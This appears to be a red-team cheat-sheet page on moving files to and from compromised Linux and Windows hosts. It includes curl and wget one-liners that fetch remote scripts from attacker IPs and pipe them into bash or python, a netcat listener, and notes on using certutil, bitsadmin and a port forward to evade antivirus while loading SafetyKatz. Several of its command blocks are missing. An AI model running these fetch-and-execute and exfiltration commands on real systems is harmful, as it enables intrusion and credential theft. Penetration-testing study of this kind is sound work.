File Transfers
Linux
Servers
# Python3
python3 -m http.server
# Python 2.7
python2.7 -m SimpleHTTPServer
# PHP
php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000# Python3
python3 -m uploadserver
# Netcat
nc -lvnp 1337An HTTPS server can also be created:
# Create self-signed cert
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
# Create and move to webroot (must be different dir from the cert)
mkdir https && cd https
# Start web server using the cert
sudo python3 -m uploadserver 443 --server-certificate /root/server.pem
# Upload from the target
curl -X POST https://10.10.10.10/upload -F 'files=@file1' -F 'files=@file1' --insecure SMB (Server Message Block) is a Windows-native protocol primarily used for file and printer sharing on local networks. It operates at a lower level, allowing direct access to files, directories, and network shares, often integrated into Windows Explorer and supporting authentication, locking, and permissions.
Start a SMB server:
Connect to the server from the client and transfer the target file:
WebDAV (Web Distributed Authoring and Versioning) is an extension of HTTP/HTTPS that allows users to manage files on a remote web server. It is more platform-agnostic and works over standard web ports, making it easier to traverse firewalls, but it generally has higher latency and fewer low-level filesystem features compared to SMB.
Start the WebDav server:
Browser the share or transfer the target file:
Utilities
Wget is a CLI utility for retrieving files from the web using HTTP, HTTPS, and FTP protocols. It supports recursive downloads, resume capabilities, and background operation. Offensive operators often use wget to fetch binaries or scripts from remote servers because it is widely available on Linux systems and can operate quietly in automated workflows.
wget http://10.10.10.10/nc.exe -O nc.exe
# Fileless execution (-q: quiet mode, -O: specifies the output, -O-: redirects output to stdout)
wget -qO- https://172.16.10.1/script.py | python3Curl is a CLI tool and library for transferring data with URLs, supporting a wide range of protocols including HTTP, HTTPS, FTP, and SCP. It allows fine-grained control over headers, authentication, and request methods, making it useful for downloading files, interacting with APIs, or exfiltrating data in offensive operations.
curl http://10.10.10.10/script.sh -o /tmp/script.sh
# Fileless execution
curl https://172.16.10.1/script.sh | bashSCP (Secure Copy) is a CLI utility for securely transferring files between hosts over SSH. It provides encryption for both authentication and data transfer, making it a reliable method to move files across remote systems in penetration testing or red team engagements while maintaining confidentiality and integrity.
scp user@172.16.10.10:/tmp/nc.exe ./nc.exe/dev/tcp can also be used for fileless execution:
# Connect to the target webserver
exec 3<>/dev/tcp/10.10.10.32/80
# HTTP GET request
echo -e "GET /script.sh HTTP/1.1\n\n">&3
# Print the response
cat <&3The SCP utility can be used to upload a file to the target:
Windows
Servers
Create an SMB share:
Access it from the target via File Explorer at \\10.10.10.10\shared.
Downloads
Bitsadmin is a Windows CLI utility designed to create, manage, and monitor Background Intelligent Transfer Service (BITS) jobs, which are normally used to download or upload files asynchronously with network throttling. Offensive operators leverage bitsadmin to transfer files covertly, as it uses a system service that often bypasses standard firewall and proxy restrictions and avoids immediate antivirus detection.
The /transfer flag specifies that the operation is a transfer job, while n is simply the name assigned to that job for tracking or management purposes.
Certutil is a Windows CLI tool for managing certificates and keys, but it is often abused offensively because it can download files, encode or decode data, and interact with certificate stores while evading most antivirus detections, making it useful for file transfer or malware staging in administrative environments.
The -split flag ensures that large files are split and reassembled correctly during download, preventing corruption. The -f flag forces the operation, overwriting any existing file with the same name without prompting.
Fileless execution:
Uploads
Misc
b64
Linux
Windows
CRTP
Transfer files from the attacking host to a compromised host (dcorp-ci):
Copy the file from dcorp-ci to the target host (dcorp-mgmt):
If we run SafetyKatz via the Loader directly from the webserver, MD will complain about it because it includes an external IP address (attacker's IP):
A workaround would be to do it via a port forward. Any connection made to dcorp-mgmt port 8080 will be forwarded to the attacker's machine port 80:
Now we can OtH:
A new shell will spawn in the svcadmin context. This is a remote type 9 login, so the context will show only when accessing a remote host
Last updated
Was this helpful?